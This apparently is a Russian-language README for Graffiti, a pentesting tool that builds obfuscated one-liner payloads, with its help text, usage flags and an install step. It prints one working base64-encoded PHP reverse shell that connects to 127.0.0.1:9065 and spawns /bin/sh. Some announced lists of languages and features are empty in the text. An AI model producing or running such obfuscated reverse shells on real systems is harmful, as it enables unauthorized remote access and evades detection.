
Инструмент для генерации обфусцированных однострочных команд для помощи в пентестинге.

Graffiti — это инструмент для генерации обфусцированных однострочников, помогающий в ситуациях проведения тестов на проникновение. Graffiti поддерживает следующие языки для кодирования:
Graffiti также принимает язык, которого нет в списке, и сохраняет однострочник в базу данных.
Graffiti поставляется с базой данных, в которую вставляется каждый закодированный пейлоад, чтобы конечные пользователи могли просматривать уже созданные пейлоады для дальнейшего использования. Пейлоады могут быть закодированы с использованием следующих методов:
Некоторые функции Graffiti включают:
Graffiti поставляется со встроенным терминалом; если не передавать программе никаких флагов, он запускает терминал. В терминале есть история, возможность выполнения внешних команд и собственные внутренние команды. Чтобы получить справку, достаточно ввести help или ?:
________ _____ _____.__ __ .__
/ _____/___________ _/ ____\/ ____\__|/ |_|__|
/ \ __\_ __ \__ \\ __\\ __\| \ __\ |
\ \_\ \ | \// __ \| | | | | || | | |
\______ /__| (____ /__| |__| |__||__| |__|
\/ \/
v(0.1)
no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal
root@graffiti:~/graffiti# ?
Command Description
--------- --------------
help/? Show this help
external List available external commands
cached Display all payloads that are already in the database
list/show List all available payloads
search <phrase> Search for a specific payload
use <payload> <coder> Use this payload and encode it using a specified coder
info <payload> Get information on a specified payload
check Check for updates
history Display command history
exit/quit Exit the terminal and running session
encode <script-type> <coder> Encode a provided payload
root@graffiti:~/graffiti# help
Command Description
--------- --------------
help/? Show this help
external List available external commands
cached Display all payloads that are already in the database
list/show List all available payloads
search <phrase> Search for a specific payload
use <payload> <coder> Use this payload and encode it using a specified coder
info <payload> Get information on a specified payload
check Check for updates
history Display command history
exit/quit Exit the terminal and running session
encode <script-type> <coder> Encode a provided payload
Graffiti также поставляется с аргументами командной строки для случаев, когда нужно быстро закодировать пейлоад:
usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
[--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
[-l]
[-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
[-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
[-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]]
optional arguments:
-h, --help show this help message and exit
-c CODEC, --codec CODEC
specify an encoding technique (*default=None)
-p PAYLOAD, --payload PAYLOAD
pass the path to a payload to use (*default=None)
--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
create a payload file and store it inside of
./etc/payloads (*default=None)
-l, --list list all available payloads by path (*default=False)
-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
pass your own personal payload to use for the encoding
(*default=None)
-lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
pass a listening address to use for the payload (if
needed) (*default=None)
-lP LISTENING-PORT, --lport LISTENING-PORT
pass a listening port to use for the payload (if
needed) (*default=None)
-u URL, --url URL pass a URL if needed by your payload (*default=None)
-vC, --view-cached view the cached data already present inside of the
database
-H, --no-history do not store the command history (*default=True)
-W, --wipe wipe the database and the history (*default=False)
--memory initialize the database into memory instead of a .db
file (*default=False)
-mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
pass more external commands, this will allow them to
be accessed inside of the terminal commands must be in
your PATH (*default=None)
Закодировать пейлоад просто:
root@graffiti:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065
Encoded Payload:
--------------------------------------------------
php -r 'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'
--------------------------------------------------
Демо Graffiti можно посмотреть здесь:
На любой системе Linux, Mac или Windows Graffiti должна работать «из коробки» без необходимости установки внешних пакетов. Если вы хотите установить Graffiti как исполняемый файл в вашу систему (для успешной работы вы должны использовать Linux или Mac), достаточно выполнить следующее:
./install.sh
Это установит Graffiti в вашу систему и позволит запускать его из любого места.
Если вы обнаружите ошибку или проблему, пожалуйста, создайте issue с подробностями здесь — заранее спасибо!